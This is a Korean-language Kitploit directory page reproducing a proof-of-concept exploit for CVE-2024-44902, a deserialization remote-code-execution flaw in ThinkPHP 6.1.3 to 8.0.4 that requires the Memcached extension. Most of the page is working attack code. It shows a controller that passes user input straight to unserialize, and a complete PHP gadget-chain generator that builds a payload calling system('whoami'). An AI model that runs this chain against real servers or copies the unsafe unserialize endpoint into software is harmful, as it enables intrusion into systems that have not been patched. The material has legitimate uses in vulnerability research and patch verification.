Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-44902 — CVE-2024-44902에 대한 개념 증명 익스플로잇은 ThinkPHP v6.1.3–v8.0.4의 역직렬화 취약점으로, Memcached 확장이 설치된 경우 조작된 페이로드를 통해 원격 코드 실행을 가능하게 합니다. | Kitploit
도구/GitHubGitHub/fru1ts/cve-2024-44902
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingPayload Development
GitHubfru1ts/cve-2024-44902

CVE-2024-44902

CVE-2024-44902에 대한 개념 증명 익스플로잇은 ThinkPHP v6.1.3–v8.0.4의 역직렬화 취약점으로, Memcached 확장이 설치된 경우 조작된 페이로드를 통해 원격 코드 실행을 가능하게 합니다.

저장소 보기
61년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2024-44902

취약점 설명

ThinkPHP v6.1.3 ~ v8.0.4에서 발견된 역직렬화 취약점으로, 공격자가 임의 코드를 실행할 수 있습니다.

영향을 받는 버전

ThinkPHP v6.1.3 ~ v8.0.4

악용 조건

ThinkPHP 프레임워크에 Memcached 확장이 설치되어 있어야 합니다.

취약점 증명

  • 테스트 환경: php8.0.7 + thinkphp8.0.4 + memcached3.2.0

먼저, app\controller\Index.php에 새로운 역직렬화 엔드포인트를 추가합니다. 예를 들어:

root@kitploit:~
<?php

namespace app\controller;

use app\BaseController;

class Index extends BaseController
{
    public function index()
    {
        unserialize($_GET['x']);
        return '<style>*{ padding: 0; margin: 0; }</style>';
    }

    public function hello($name = 'ThinkPHP8')
    {
        return 'hello,' . $name;
    }
}

페이로드는 다음 코드로 생성할 수 있습니다:

root@kitploit:~
<?php
namespace think\cache\driver;
use think\model\Pivot;
class Memcached{
    protected $options=[];
    function __construct()
    {
        $this->options["username"]=new Pivot();
    }
}

namespace think\model;
use think\model;
class Pivot extends Model
{

}

namespace think;
abstract class Model{
    private $data = [];
    private $withAttr = [];
    protected $json = [];
    protected $jsonAssoc = true;
    function __construct()
    {
        $this->data["fru1ts"]=["whoami"];
        $this->withAttr["fru1ts"]=["system"];
        $this->json=["fru1ts"];
    }
}

namespace think\route;
use think\DbManager;
class ResourceRegister
{
    protected $registered = false;
    protected $resource;
    function __construct()
    {
        $this->registered=false;
        $this->resource=new DbManager();
    }
}
namespace think;
use think\model\Pivot;
class DbManager
{
    protected $instance = [];
    protected $config = [];
    function __construct()
    {
        $this->config["connections"]=["getRule"=>["type"=>"\\think\\cache\\driver\\Memcached","username"=>new Pivot()]];
        $this->config["default"]="getRule";
    }
}

use think\route\ResourceRegister;
$r=new ResourceRegister();
echo urlencode(serialize($r));

생성된 페이로드를 역직렬화하면 RCE가 발생합니다:

image-20240905234416317

도구 다운로드